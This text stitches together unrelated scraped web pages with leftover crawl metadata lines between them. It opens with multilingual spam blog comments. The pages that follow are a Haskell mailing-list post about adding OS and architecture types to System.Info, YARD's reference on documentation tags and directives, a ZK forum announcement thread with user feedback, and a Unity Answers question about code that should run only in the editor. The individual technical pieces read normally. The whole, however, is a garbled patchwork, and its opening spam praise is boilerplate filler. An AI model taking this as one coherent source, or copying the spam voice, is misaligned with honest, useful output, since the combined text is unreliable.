-n2 Great post I would like to thank you for the efforts you have made in writing this interesting and knowledgeable article. I’m waiting for next post… Sí que estoy totalmente de acuerdo con este artículo y sólo quiero decir que este artículo es muy agradable y artículo muy informativo. You should proud to your self for having able to write down some really wonderful tips and hints. Great articles, I think it would be a good asset. You can post on the order experience for the blog. You might forward it’s mind busting. Your blog explication could skyrocket your viewers. Ho letto un sacco di vostri articoli e questa è la mia prima volta commentando. Volevo solo ringraziarvi per la vostra scrittura. Eso es un blog muy calidad. Gran contenido y un diseño limpio. Por favor, mantenga la creación de este tipo de grandes mensajes, estoy seguro de que todos los usuarios los encontraría tan valioso como lo hice. This is truly a great read for me. I have bookmarked it and I am looking forward to reading new articles. Keep up the good work! Muy buen blog y artículos.
http://blag.xkcd.com/2009/04/27/a-problem/
CC-MAIN-2014-35
refinedweb
957
74.08
On Mon, Aug 06, 2007 at 01:36:54PM +0100, Neil Mitchell wrote: > > Proposal: > > Add System.Info.isWindows :: Bool I was actually planning to propose something along similar lines this week, in order to replace ifdef's like in the GHC and library sources with pattern matches like I have done in Cabal, e.g.: -#if mingw32_HOST_OS || mingw32_TARGET_OS -dllExtension = "dll" -#else -dllExtension = "so" -#endif +dllExtension = case os of + Windows _ -> "dll" + _ -> "so" I haven't been through to look at what ifdef-replacements are needed, but I expect to want both OS = Linux | Windows Windows | ... | OtherOS String and Arch = I386 | AMD64 | Sparc | ... | OtherArch String types. Not all ifdefs will be able to be removed, e.g. because they use platform-specific packages or foreign imports. I don't know if it would be worth having other extensions to make elmiinating these ifdefs possible too. I would like it to be easy for an optimiser to dead-code-eliminate branches that don't apply (and in particular I would like it to be something that is DCEd by GHC so we don't carry around entire NCGs we can't use, for example). As long as that happens I don't really mind if it is done by pattern matching or by using isWindows-style functions. Doing equality tests against System.Info.os doesn't cut it, though. Finally, it needs to remain in base if we are to use it for ifdef-removal in the base libraries (and as low down in base as possible). > > data OS = Linux | Windows Windows | ... etc | Other String > > data Windows = MingW > > Since when did GNU build Windows operating systems? It seemed to me that at some point we would be likely to want to distinguish between MingW | Cygwin | Native, but a lot of the time we'd want to just match Windows _. > You can add > System.Info.libraries :: [Libary], and make MingW a library, but if > you have a Windows enumeration it really should be for a list of > Windows operating systems. We'd need to do IO to do that, so it wouldn't fit my needs. Also, MingW `elem` libraries wouldn't get optimised out at compile time. It would be great if we could get all this into 6.8, as then we will be able to rely on it a year or so earlier. > There are lots of things that could go in System.Info, and I agree > more should be moved along. Ditto for these. Thanks Ian
http://www.haskell.org/pipermail/libraries/2007-August/007897.html
CC-MAIN-2014-42
refinedweb
419
72.56
Name SPI Slave — Hardware Support for SPI Slave Device Synopsis #include <cyg/hal/mpc512x_spislave.h> typedef void hal_mpc512x_spi_slave_rx( hal_mpc512x_spi_slave *slave , cyg_uint8 *buf ); hal_mpc512x_spi_slave *hal_mpc512x_spi_slave_init( int psc , cyg_uint32 tfr_size , cyg_uint32 flags , hal_mpc512x_spi_slave_rx *rx_callback , void *user_data ); int hal_mpc512x_spi_slave_tx( hal_mpc512x_spi_slave *slave , cyg_uint8 *buf ); Introduction SPI slave support is provided by a module in the MPC512X variant HAL. It comprises a data structure, two functions and the prototype of a function that must be supplied by the user. All of these may be defined by including the cyg/hal/mpc512x_spislave.h header file. Configuration Any PSC that is to be used as an SPI slave must be configured into SPISLAVE mode. If this is done then the following configuration options become available: - CYGHWR_HAL_POWERPC_MPC512X_PSCX_SPI_SLAVE_MAX - This option defines the maximum transfer size that any SPI slave device can handle. This is used to define the size of the buffers allocated to any SPI slave device. Individual SPI slaves may define FIFO sizes less than or equal to this value. - CYGHWR_HAL_POWERPC_MPC512X_PSCN_SPI_SLAVE_MAX - This option defines the maximum transfer size that the SPI slave device on PSCN can handle. This is used to control the size of the FIFOs allocated to this device. At initialization an application can choose an actual transfer size equal to or less than this value. - CYGHWR_HAL_POWERPC_MPC512X_PSCN_SPI_SLAVE_INTR_PRI - This option defines interrupt priority for the SPI slave on PSCN. The priority may range from 0 to 7. The default value of 8 selects the hardware default level. Usage The SPI protocol is highly asymmetric. The timing of when a transfer starts, the frequency at which it is clocked and any gap between individual bytes is under the control of the master. The slave device has no mechanism for influencing any of this. For example, with an 8MHz clock the slave would have to supply one byte every microsecond, and the gap between bytes is only 125ns. In a processor that has many other demands on its time, this kind of latency is hard to guarantee. Therefore, the SPI slave support provided makes use of the hardware characteristics to avoid any software being involved in the main part of an SPI transfer. The SPI slave support makes use of the hardware FIFOs associated with each PSC. By pre-loading the transmit FIFO with data and keeping the transfer size to less than the FIFO size, the entire transfer can occur without software involvement. Software only needs to get involved at the end of the transfer, to empty the data sent by the master from the receive FIFO, and to load data for the next transfer into the transmit FIFO. To make this work, all transfers must be less than the size configured for the FIFOs, and all transfers must be of the same pre-defined size. An SPI slave PSC is initialized by calling hal_mpc512x_spi_slave_init(). The psc parameter identifies the PSC to be initialized, which must have been configured in SPISLAVE mode. The tfr_size parameter defines the transfer size to be used, and must be less than or equal to this PSC's maximum transfer size. rx_callback is a pointer to a function that will be called when data is available and user_data is a user-supplied value. The flags parameter contains configuration flags, at present these can be used to set the SPI CPHA and CPOL parameters used to control data sampling and clocking. On return the init function will return a pointer to a hal_mpc512x_spi_slave structure which is used in the other API calls. If the initialization fails for some reason, NULL is returned. After a successful initialization, the SPI slave is ready for the master to initiate a transfer. When the master performs a transfer, bytes will be clocked in to the receive FIFO and bytes will be clocked out of the transmit FIFO. Initialization will have pre-primed the transmit FIFO with tfr_size zeroes, so on the first transfer the master can only send data to the slave. Once the transfer is complete the PSC will raise an interrupt and call the rx_callback() function. This will be provided with a pointer to a buffer containing the received data. The user_data may be accessed via the slave pointer. This function is called from DSR mode, so should not call any functions that potentially cause a context switch; generally it should use a semaphore or other synchronization object to wake up a thread to perform any further processing. The receive buffer will be overwritten by the next transfer, so should be copied out to private memory if it needs to be preserved. To supply data to be sent during the next transfer, the user should call hal_mpc512x_spi_slave_tx(). The buf argument points to tfr_size bytes to be sent. There is sufficient buffering for a single pending transfer, in addition to the contents of the FIFO, so this function may be called before the previous transfer completes. On completion of the transfer, the transmit FIFO will be filled from the pending buffer. If the pending buffer is already full when this function is called the thread will be made to wait until the buffer is empty. The following code (with some irrelevant details omitted) gives the basic outline of how a dedicated SPI slave might be structured: // Omitted: standard headers #include <cyg/hal/mpc512x_spislave.h> #define PSC 3 #define TFR_SIZE 32 cyg_sem_t sem; cyg_uint8 tx_buf[CYGHWR_HAL_POWERPC_MPC512X_PSCX_SPI_SLAVE_MAX]; cyg_uint8 rx_buf[CYGHWR_HAL_POWERPC_MPC512X_PSCX_SPI_SLAVE_MAX]; // SPI slave callback void rx_callback( hal_mpc512x_spi_slave *slave, cyg_uint8 *buf ) { // Copy received data to private buffer memcpy( rx_buf, buf, TFR_SIZE ); // Wake up thread cyg_semaphore_post( &sem ); } // Entry function for SPI slave handling thread // Omitted: thread creation void spi_slave(cyg_addrword_t arg) { hal_mpc512x_spi_slave *slave; // Initialize semaphore cyg_semaphore_init( &sem, 0 ); // Initialize SPI slave on the PSC slave = hal_mpc512x_spi_slave_init( PSC, TFR_SIZE, HAL_SPI_SLAVE_CPHA0|HAL_SPI_SLAVE_CPOL0, &rx_callback, NULL ); // Omitted: raise error on slave == NULL // Loop forever handling transfers while( 1 ) { // Wait for a transfer to complete cyg_semaphore_wait( &sem ); // Omitted: deal with received data. // Omitted: create transmit data for next transfer. // Queue up for next transfer hal_mpc512x_spi_slave_tx( slave, tx_buf ); } } A test program in the ADS512101 board HAL (the only board on which this device could be tested) demonstrates the use of the SPI slave support in a real program.
https://doc.ecoscentric.com/ref/hal-ppc-mpc512x-spislave.html
CC-MAIN-2022-27
refinedweb
1,021
59.13
Tags Overview Tags represent meta-data as well as behavioural data that can be added to documentation through the @tag style syntax. As mentioned, there are two basic types of tags in YARD, "meta-data tags" and "behavioural tags", the latter is more often known as "directives". These two tag types can be visually identified by their prefix. Meta-data tags have a @ prefix, while directives have a prefix of @! to indicate that the directive performs some potentially mutable action on or with the docstring. The two tag types would be used in the following way, respectively: # @meta_data_tag some data # @!directive_tag some data class Foo; end This document describes how tags can be specified, how they affect your documentation, and how to use specific built-in tags in YARD, as well as how to define custom tags. Meta-Data Tags Meta-data tags are useful to add arbitrary meta-data about a documented object. These tags simply add data to objects that can be looked up later, either programmatically, or displayed in templates. The benefit to describing objects using meta-data tags is that your documentation can be organized semantically. Rather than having a huge listing of text with no distinction of what each paragraph is discussing, tags allow you to focus in on specific elements of your documentation. For example, describing parameters of a method can often be important to your documentation, but should not be mixed up with the documentation that describes what the method itself does. In this case, separating the parameter documentation into @param tags can yield much better organized documentation, both in source and in your output, without having to manually format the data using standard markup. All of this meta-data can be easily parsed by tools and used both in your templates as well as in code checker tools. An example of how you can leverage tags programmatically is shown in the @todo tag, which lists a small snippet of Ruby code that can list all of your TODO items, if they are properly tagged. Custom meta-data tags can be added either programmatically or via the YARD command-line. This is discussed in the "Adding Custom Tags" section. A list of built-in meta-data tags are found below in the Tag List. Directives Directives are similar to meta-data tags in the way they are specified, but they do not add meta-data to the object directly. Instead, they affect the parsing context and objects themselves, allowing a developer to create objects (like methods) outright, rather than simply add text to an existing object. Directives have a @! prefix to differentiate these tags from meta-data tags, as well as to indicate that the tag may modify or create new objects when it is called. A list of built-in directives are found below in the Directive List. Tag Syntax Tags begin with the @ or @! prefix at the start of a comment line, followed immediately by the tag name, and then optional tag data (if the tag requires it). Unless otherwise specified by documentation for the tag, all "description" text is considered free-form data and can include any arbitrary textual data. Multi-line Tags Tags can span multiple lines if the subsequent lines are indented by more than one space. The typical convention is to indent subsequent lines by 2 spaces. In the following example, @tagname will have the text "This is indented tag data": # @tagname This is # indented tag data # but this is not For most tags, newlines and indented data are not significant and do not impact the result of the tag. In other words, you can decide to span a tag onto multiple lines at any point by creating an indented block. However, some tags like @example, @overload, @!macro, @!method, and @!attribute rely on the first line for special information about the tag, and you cannot split this first line up. For instance, the @example tag uses the first line to indicate the example's title. Common Tag Syntaxes Although custom tags can be parsed in any way, the built-in tags follow a few common syntax structures by convention in order to simplify the syntax. The following syntaxes are available: - Freeform data — In this case, any amount of textual data is allowed, including no data. In some cases, no data is necessary for the tag. - Freeform data with a types specifier list — Mostly freeform data beginning with an optional types specifier list surrounded in [brackets]. Note that for extensibility, other bracket types are allowed, such as <>, ()and {}. The contents of the list are discussed in detail below. - Freeform data with a name and types specifier list — freeform data beginning with an optional types list, as well as a name key, placed either before or after the types list. The name key is required. Note that for extensibility, the name can be placed before the types list, like: name [Types] description. In this case, a separating space is not required between the name and types, and you can still use any of the other brackets that the type specifier list allows. - Freeform data with title — freeform data where the first line cannot be split into multiple lines. The first line must also always refer to the "title" portion, and therefore, if there is no title, the first line must be blank. The "title" might occasionally be listed by another name in tag documentation, however, you can identify this syntax by the existence of a multi-line signature with "Indented block" on the second line. In the tag list below, the term "description" implies freeform data, [Types] implies a types specifier list, "name" implies a name key, and "title" implies the first line is a newline significant field that cannot be split into multiple lines. Types Specifier List In some cases, a tag will allow for a "types specifier list"; this will be evident from the use of the [Types] syntax in the tag signature. A types specifier list is a comma separated list of types, most often classes or modules, but occasionally literals. For example, the following @return tag lists a set of types returned by a method: # Finds an object or list of objects in the db using a query # @return [String, Array<String>, nil] the object or objects to # find in the database. Can be nil. def find(query) finder_code_here end A list of conventions for type names is specified below. Typically, however, any Ruby literal or class/module is allowed here. Duck-types (method names prefixed with "#") are also allowed. Note that the type specifier list is always an optional field and can be omitted when present in a tag signature. This is the reason why it is surrounded by brackets. It is also a freeform list, and can contain any list of values, though a set of conventions for how to list types is described below. Type List Conventions A list of examples of common type listings and what they translate into is available at. Typically, a type list contains a list of classes or modules that are associated with the tag. In some cases, however, certain special values are allowed or required to be listed. This section discusses the syntax for specifying Ruby types inside of type specifier lists, as well as the other non-Ruby types that are accepted by convention in these lists. It's important to realize that the conventions listed here may not always adequately describe every type signature, and is not meant to be a complete syntax. This is why the types specifier list is freeform and can contain any set of values. The conventions defined here are only conventions, and if they do not work for your type specifications, you can define your own appropriate conventions. Note that a types specifier list might also be used for non-Type values. In this case, the tag documentation will describe what values are allowed within the type specifier list. Class or Module Types Any Ruby type is allowed as a class or module type. Such a type is simply the name of the class or module. Note that one extra type that is accepted by convention is the Boolean type, which represents both the TrueClass and FalseClass types. This type does not exist in Ruby, however. Parametrized Types In addition to basic types (like String or Array), YARD conventions allow for a "generics" like syntax to specify container objects or other parametrized types. The syntax is Type<SubType, OtherSubType, ...>. For instance, an Array might contain only String objects, in which case the type specification would be Array<String>. Multiple parametrized types can be listed, separated by commas. Note that parametrized types are typically not order-dependent, in other words, a list of parametrized types can occur in any order inside of a type. An array specified as Array<String, Fixnum> can contain any amount of Strings or Fixnums, in any order. When the order matters, use "order-dependent lists", described below. Duck-Types Duck-types are allowed in type specifier lists, and are identified by method names beginning with the "#" prefix. Typically, duck-types are recommended for @param tags only, though they can be used in other tags if needed. The following example shows a method that takes a parameter of any type that responds to the "read" method: # Reads from any I/O object. # @param io [#read] the input object to read from def read(io) io.read end Hashes Hashes can be specified either via the parametrized type discussed above, in the form Hash<KeyType, ValueType>, or using the hash specific syntax: Hash{KeyTypes=>ValueTypes}. In the latter case, KeyTypes or ValueTypes can also be a list of types separated by commas. Order-Dependent Lists An order dependent list is a set of types surrounded by "()" and separated by commas. This list must contain exactly those types in exactly the order specified. For instance, an Array containing a String, Fixnum and Hash in that order (and having exactly those 3 elements) would be listed as: Array<(String, Fixnum, Hash)>. Literals Some literals are accepted by virtue of being Ruby literals, but also by YARD conventions. Here is a non-exhaustive list of certain accepted literal values: true, false, nil— used when a method returns these explicit literal values. Note that if your method returns both trueor false, you should use the Booleanconventional type instead. self— has the same meaning as Ruby's "self" keyword in the context of parameters or return types. Recommended mostly for @return tags that are chainable. void— indicates that the type for this tag is explicitly undefined. Mostly used to specify @return tags that do not care about their return value. Using a voidreturn tag is recommended over no type, because it makes the documentation more explicit about what the user should expect. YARD will also add a note for the user if they have undefined return types, making things clear that they should not use the return value of such a method. Reference Tags Reference tag syntax applies only to meta-data tags, not directives. If a tag's data begins with (see OBJECT) it is considered a "reference tag". A reference tag literally copies the tag data by the given tag name from the specified OBJECT. For instance, a method may copy all @param tags from a given object using the reference tag syntax: # @param user [String] the username for the operation # @param host [String] the host that this user is associated with # @param time [Time] the time that this operation took place def clean(user, host, time = Time.now) end # @param (see #clean) def activate(user, host, time = Time.now) end Adding Custom Tags If a tag is specific to a given project, consider namespacing it by naming it in the form projectname.tagname, ie., yard.tag_signature. Custom tags can be added to YARD either via the command-line or programmatically. The programmatic method is not discussed in this document, but rather in the TagsArch document. To add a custom tag via the command-line or .yardopts file, you can use the --*-tag options. A few different options are available for the common tag syntaxes described above. For example, to add a basic freeform tag, use: $ yard doc --tag rest_url:"REST URL" This will register the @rest_url tag for use in your documentation and display this tag in HTML output wherever it is used with the heading "REST URL". Note that the tag title should follow the tag name with a colon ( :). Other tag syntaxes exist, such as the type specifier list freeform tag ( --type-tag), or a named key tag with types ( --type-name-tag). If you want to create a tag but not display it in output (it is only for programmatic use), add --hide-tag tagname after the definition: $ yard doc --tag complexity:"McCabe Complexity" --hide-tag complexity Note that you might not need a tag title if you are hiding it. The title part can be omitted. Tag List @abstract description Marks a class/module/method as abstract with optional implementor information. @api description This tag is transitive. If it is applied on a namespace (module or class), it will immediately be applied to all children objects of that namespace unless it is redefined on the child object. The special name @api private does display a notice in documentation if it is listed, letting users know that the method is not to be used by external components. Declares the API that the object belongs to. Does not display in output, but useful for performing queries (+yardoc –query+). Any text is allowable in this tag, and there are no predefined values. @attr name [Types] description This attribute is only applicable on class docstrings Declares a readwrite attribute on a Struct or class. @attr_reader name [Types] description This attribute is only applicable on class docstrings Declares a readonly attribute on a Struct or class. @attr_writer name [Types] description This attribute is only applicable on class docstrings Declares a writeonly attribute on a Struct or class. @author description List the author or authors of a class, module, or method. @deprecated description Marks a method/class as deprecated with an optional description. The description should be used to inform users of the recommended migration path, and/or any useful information about why the object was marked as deprecated. @example Optional title Code block Show an example snippet of code for an object. The first line is an optional title. @note description Adds an emphasized note at the top of the docstring for the object @option name [Types] option_key (default_value) description For keyword parameters, use @param, not @option. Describe an options hash in a method. The tag takes the name of the options parameter first, followed by optional types, the option key name, a default value for the key and a description of the option. The default value should be placed within parentheses and is optional (can be omitted). Note that a @param tag need not be defined for the options hash itself, though it is useful to do so for completeness. @overload method_signature(parameters) Indented docstring for overload method Describe that your method can be used in various contexts with various parameters or return types. The first line should declare the new method signature, and the following indented tag data will be a new documentation string with its own tags adding metadata for such an overload. @param name [Types] description Documents a single method parameter (either regular or keyword) with a given name, type and optional description. @private This method is not recommended for hiding undocumented or “unimportant” methods. This tag should only be used to mark objects private when Ruby visibility rules cannot do so. In Ruby 1.9.3, you can use private_constant to declare constants (like classes or modules) as private, and should be used instead of @private. This tag is transitive. If it is applied on a namespace (module or class), it will immediately be applied to all children objects of that namespace unless it is redefined on the child object. Declares that the logical visibility of an object is private. In other words, it specifies that this method should be marked private but cannot due to Ruby's visibility restrictions. This exists for classes, modules and constants that do not obey Ruby's visibility rules. For instance, an inner class might be considered “private”, though Ruby would make no such distinction. This tag is meant to be used in conjunction with the --no-private command-line option, and is required to actually remove these objects from documentation output. See README for more information on switches. If you simply want to set the API visibility of a method, you should look at the @api tag instead. @raise [Types] description Describes that a method may raise a given exception, with an optional description of what it may mean. @return [Types] description Describes the return value (and type or types) of a method. You can list multiple return tags for a method in the case where a method has distinct return cases. In this case, each case should begin with “if …”. @see name description “See Also” references for an object. Accepts URLs or other code objects with an optional description at the end. Note that the URL or object will be automatically linked by YARD and does not need to be formatted with markup. @since description This tag is transitive. If it is applied on a namespace (module or class), it will immediately be applied to all children objects of that namespace unless it is redefined on the child object. Lists the version that the object was first added. @todo description Marks a TODO note in the object being documented. For reference, objects with TODO items can be enumerated from the command line with a simple command: mocker$ yard list --query '@todo' lib/mocker/mocker.rb:15: Mocker lib/mocker/report/html.rb:5: Mocker::Report::Html YARD can also be used to enumerate the TODO items from a short script: require 'yard' YARD::Registry.load!.all.each do |o| puts o.tag(:todo).text if o.tag(:todo) end @version description Lists the version of a class, module or method. This is similar to a library version, but at finer granularity. In some cases, version of specific modules, classes, methods or generalized components might change independently between releases. A version tag is used to infer the API compatibility of a specific object. @yield [parameters] description Describes what a method might yield to a given block. The types specifier list should not list types, but names of the parameters yielded to the block. If you define parameters with @yieldparam, you do not need to define the parameters in the type specification of @yield as well. @yieldparam name [Types] description Defines a parameter yielded by a block. If you define the parameters with @yieldparam, you do not need to define them via @yield as well. @yieldreturn [Types] description Documents the value and type that the block is expected to return to the method. Directive List @!attribute [r | w | rw] attribute_name Indented attribute docstring @!endgroup @!group description. @!macro [attach | new] optional_name Optional macro expansion data. @!method method_signature(parameters) Indented method docstring @!parse [language] code”. @!scope class | instance Modifies the current parsing scope (class or instance). If this directive is defined on a docstring attached to an object definition, it is applied only to that object. Otherwise, it applies the scope to all future objects in the namespace. @!visibility public | protected | private Modifies the current parsing visibility (public, protected, or private). If this directive is defined on a docstring attached to an object definition, it is applied only to that object. Otherwise, it applies the visibility to all future objects in the namespace.
http://www.rubydoc.info/gems/yard/0.9.6/file/docs/Tags.md
CC-MAIN-2017-22
refinedweb
3,302
53.71
Friday, November 30, 2012 # Performance optimization in bigger systems is hard because the measured numbers can vary greatly depending on the measurement method of your choice. To measure execution timing of specific methods in your application you usually use Intel's Designer's vol3b, section 16.11.1 ." In general it is a good idea to use some tracing library which does measure the timing for you and you only need to decorate some methods with tracing so you can later verify if something has changed for the better or worse. In my previous article I did compare measuring performance with quantum mechanics. This analogy does work surprising well. When you measure a quantum system there is a lower limit how accurately you can measure something. The Heisenberg uncertainty relation does tell us that you cannot measure of a quantum system the impulse and location of a particle at the same time with infinite accuracy. For programmers the two variables are execution time and memory allocations. If you try to measure the timings of all methods in your application you will need to store them somewhere. The fastest storage space besides the CPU cache is the memory. But if your timing values do consume all available memory there is no memory left for the actual application to run. On the other hand if you try to record all memory allocations of your application you will also need to store the data somewhere. This will cost you memory and execution time. These constraints are always there and regardless how good the marketing of tool vendors for performance and memory profilers are: Any measurement will disturb the system in a non predictable way. Any measurement will disturb the system in a non predictable way. Commercial tool vendors will tell you they do calculate this overhead and subtract it from the measured values to give you the most accurate values but in reality it is not entirely true. After falling into the trap to trust the profiler timings several times I have got into the habit to Recently I have looked into issues with serialization performance. For serialization DataContractSerializer was used and I was not sure if XML is really the most optimal wire format. After looking around I have found protobuf-net which uses Googles Protocol Buffer format which is a compact binary serialization format. What is good for Google should be good for us. A small sample app to check out performance was a matter of minutes: using ProtoBuf; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization; [DataContract, Serializable] class Data { [DataMember(Order=1)] public int IntValue { get; set; } [DataMember(Order = 2)] public string StringValue { get; set; } [DataMember(Order = 3)] public bool IsActivated { get; set; } [DataMember(Order = 4)] public BindingFlags Flags { get; set; } } class Program { static MemoryStream _Stream = new MemoryStream(); static MemoryStream Stream { get { _Stream.Position = 0; _Stream.SetLength(0); return _Stream; } } static void Main(string[] args) { DataContractSerializer ser = new DataContractSerializer(typeof(Data)); Data data = new Data { IntValue = 100, IsActivated = true, StringValue = "Hi this is a small string value to check if serialization does work as expected" }; var sw = Stopwatch.StartNew(); int Runs = 1000 * 1000; for (int i = 0; i < Runs; i++) { //ser.WriteObject(Stream, data); Serializer.Serialize<Data>(Stream, data); } sw.Stop(); Console.WriteLine("Did take {0:N0}ms for {1:N0} objects", sw.Elapsed.TotalMilliseconds, Runs); Console.ReadLine(); } } Nearly a factor 5 faster and a much more compact wire format. Lets use it! After switching over to protbuf-net the transfered wire data has dropped by a factor two (good) and the performance has worsened by nearly a factor two. How is that possible? We have measured it? Protobuf-net is much faster! As it turns out protobuf-net is faster but it has a cost: For the first time a type is de/serialized it does use some very smart code-gen which does not come for free. Lets try to measure this one by setting of our performance test app the Runs value not to one million but to 1. The code-gen overhead is significant and can take up to 200ms for more complex types. The break even point where the code-gen cost is amortized by its faster serialization performance is (assuming small objects) somewhere between 20.000-40.000 serialized objects. As it turned out my specific scenario involved about 100 types and 1000 serializations in total. That explains why the good old DataContractSerializer is not so easy to take out of business. The final approach I ended up was to reduce the number of types and to serialize primitive types via BinaryWriter directly which turned out to be a pretty good alternative. It sounded good until I measured again and found that my optimizations so far do not help much. After looking more deeper at the profiling data I did found that one of the 1000 calls did take 50% of the time. So how do I find out which call it was? Normal profilers do fail short at this discipline. A (totally undeserved) relatively unknown profiler is SpeedTrace which does unlike normal profilers create traces of your applications by instrumenting your IL code at runtime. This way you can look at the full call stack of the one slow serializer call to find out if this stack was something special. Unfortunately the call stack showed nothing special. But luckily I have my own tracing as well and I could see that the slow serializer call did happen during the serialization of a bool value. When you encounter after much analysis something unreasonable you cannot explain it then the chances are good that your thread was suspended by the garbage collector. If there is a problem with excessive GCs remains to be investigated but so far the serialization performance seems to be mostly ok. When you do profile a complex system with many interconnected processes you can never be sure that the timings you just did measure are accurate at all. Some process might be hitting the disc slowing things down for all other processes for some seconds as well. There is a big difference between warm and cold startup. If you restart all processes you can basically forget the first run because of the OS disc cache, JIT and GCs make the measured timings very flexible. When you are in need of a random number generator you should measure cold startup times of a sufficiently complex system. After the first run you can try again getting different and much lower numbers. Now try again at least two times to get some feeling how stable the numbers are. Oh and try to do the same thing the next day. It might be that the bottleneck you found yesterday is gone today. Thanks to GC and other random stuff it can become pretty hard to find stuff worth optimizing if no big bottlenecks except bloatloads of code are left anymore. When I have found a spot worth optimizing I do make the code changes and do measure again to check if something has changed. If it has got slower and I am certain that my change should have made it faster I can blame the GC again. The thing is that if you optimize stuff and you allocate less objects the GC times will shift to some other location. If you are unlucky it will make your faster working code slower because you see now GCs at times where none were before. This is where the stuff does get really tricky. A safe escape hatch is to create a repro of the slow code in an isolated application so you can change things fast in a reliable manner. Then the normal profilers do also start working again. As Vance Morrison does point out it is much more complex to profile a system against the wall clock compared to optimize for CPU time. The reason is that for wall clock time analysis you need to understand how your system does work and which threads (if you have not one but perhaps 20) are causing a visible delay to the end user and which threads can wait a long time without affecting the user experience at all. Next time: Commercial profiler shootout. Skin design by Mark Wagner, Adapted by David Vidmar
http://geekswithblogs.net/akraus1/archive/2012/11/30.aspx
CC-MAIN-2014-15
refinedweb
1,392
62.17
New ZK Forum Announcement Looks great. 1. Please can you set the 'Unread Posts' number in RED color like the old forum. 2. I can see a delete link right beside the edit link. ????? If a thread starter deletes the thread after many guys have answered him so the question/starter thread is away. Or is this from the table relation not possible? Many Thanks Stephan Looks Great Regards Hi, Looks good - like the RESTful URLs. I've found one problem however: In Safari/Mac I'm getting a redirect recursion into the old site when using the root forum URL (the one in ZK menu bar). I've restarted Safari, with no improvement. Problem does not occur in Safari/Win, Camino, Chrome. I'll try emptying the cache next. Cheers David Yep, clearing the cache fixed the problem. Looks good, but the red color of 'Unread Posts' count is missing too. (and/or different color, maybe bold font for thread name) My question, what is the meaning of the different document icons in front of threads? @terrytornado We only allow who delete their own post and the first post in a thread will never be deleted. : ) Regards /Joy very good! i had some suggest : 1. if we can upload an image to explain something,it'll be great. 2. if the codes we've posted can be high lighted, it'll be more readable. (just like this site does: ). 3. if there's a link to "topics i've posted" or "topics i've replyed" ,it's more convinent for us to find out the self-related thread. 4. if the user and the administrator can set the status for a thread(open,closed,solved,etc.), it will be useful to see wheather a problem was solved or not. just like the bug trace of sourceforgive does. cheers! The new Zorum looks very interesting. My compliment to the developers. But of course something catched my eye :-) In IE it is not possible to open a thread in a new window by right clicking. With Firefox it is no problem. Edit: Usability Request, is it hard to display in the thread overview the creation of the thread? We can already see the last Post, but sometimes the creation of the thread is also "nice to have". cheers mk Hi, as I have written here : it would be great if there would be "last post by: xxx" in the search results. Thanks @terrytornado As you asked, "Please can you set the 'Unread Posts' number in RED color like the old forum." No one style can fit everyone's need. If you are using firefox, a firefox plugin "Stylish" can help to customize look and feel of web pages. Maybe we can define some additional css class in elements, to simplify your own customization. Also, we may also publish some sample stylish script. Hope you have fun with ZK :) The new forum is awsome!!! Good job ! the new Forum has a serious Bug in the starting URL. There is an endless loop and when you use Chromium Browser under linux. I have to use firefox to be able to enter the main page. @timo18146 I think clear the cache of chrom could solve this problem as a work around, we are still digging why this happening. great! applaud for the ZK Team! Very good work! One suggestion so far, make the title shown in the search the same as the title of the post currently it shows ZK Forum for all results. @terrytornado following is my sample stylish script. It can set the color of unread post red. @namespace url(); @-moz-document url-prefix(""){ span.commentBody,span.commentBody p, div pre { color:black !important; } .commentAuthorContent td img{ max-height:120px !important; max-width:120px !important; height:120px !important; } #c-category a{ color:red !important; } .unread-posts{ color:red !important; font-weight:bold !important; } } thx, i'm using chrome. best Stephan PeterKuo I think, the meaning of 'unread posts' means more thing :) This style set ALL post count to red, not only those not readed. As I see, both terrytornado and me would like to see in RED only those rows (unread counter), where the value of "Unread Posts" counter is NOT zero, other remain same as now. @YADA yes it's like you say. Tims is money. With red(= counter#0) i can see quickly what happened. @zkoss It's very nice that i can click me to the users Homepage if he have declared such a link in his profile. Is it possible to open his Site in a new Tab/Browser (for later reading) without leaving the forum site. best Stephan If you're looking at this post you must have all noticed that ZK forum has a brand new look! A number of new features have been enabled in the new ZK forum. One of the main changes is we are now applying Google Search! This allows users to get more ZK info due to the new forum being more search engine friendly. In addition, there is more member friendly customizations available, including the ability to upload avatars, add a personal signature, and website/blog/link-in accounts to your profile. We hope you like it! Since we've made a lot of changes on the new forum, we would like to invite any of you to give us some feedback on it. Should any of you encounter any bugs or error messages in this ZK Forum. Please post any odd behavior in this thread with a detailed description of the problem. Your help is greatly appreciated! We're also hoping that the upcoming ZK Forum enhancement changes will help to enliven the forum. Please keep checking the site regularly. We’ll continue to make it more user-friendly. Thank you for your continued support! The ZK Team
http://www.zkoss.org/forum/listComment/9971-New-ZK-Forum-Announcement
crawl-003
refinedweb
979
75.3
From: Rene Rivera (grafik.list_at_[hidden]) Date: 2005-05-16 10:00:55 Joel de Guzman wrote: > John Maddock wrote: > >> As you've noticed already, if a static assert appears on the same line >> in two different files then you get a redefinition error. I don't >> suppose CW supports __COUNTER__ like MSVC does, if so we could give >> each a unique name? It doesn't.. I've wished for that many times. >? Well since this is only a problem at the namespace scope, it can also be solved by wrapping with "namespace { ... }" AFAICT. > Certainly. That is, if I know which of the static asserts calls is > causing the troubles. Since the metacomm tests ran with the changed code you it's all the current failures listed on the results for Spirit/cw-8_3. -- --
https://lists.boost.org/Archives/boost/2005/05/86611.php
CC-MAIN-2020-10
refinedweb
134
79.3
I have this piece of code, that should only run in editor-time (right?) but yet it's also running at runtime. using UnityEngine; [ExecuteInEditMode] public class CheckForGoRename : MonoBehaviour { string previousName; #if UNITY_EDITOR void Update() { if (previousName != gameObject.name) { previousName = gameObject.name; print("GO new name: " + previousName); } } #endif } I also tried: if (!Application.isEditor) return; - But it also got executed! if (!Application.isEditor) return; (I'd rather use the #if UNITY_EDITOR and wrap the whole Update function with it, as opposed to having it sit there using Application.isEditor - if I don't need it at runtime, why have it then?) Update Application.isEditor I want this code to be executed in editor-time only. Any idea why it's getting executed at runtime as well? Thanks for any help. you mean this code runs in the build? I mean, I want this code to only run when I'm in the editor - editor mode - not 'play' mode (when play button is hit) (runtime) - but yet it's getting executed in both of them (edit-time and run-time) In the build settings where you decide what build to be done, have you selected one, like web player? Then these lines should turn green in your script. Well, yes there's Stand-alone build selected - I never change that. How is this related? When you select one of them, I would guess it creates a #define, then that allows you to run as it would do in the build. As a result what is wrapped inside the corresponding turns into code and the ones wrapped in other if's are simply turned to comment. Answer by asafsitner · Dec 28, 2013 at 09:11 AM What you want instead of if (!Application.isEditor) return; is if (EditorApplication.isPlaying) return; if (EditorApplication.isPlaying) 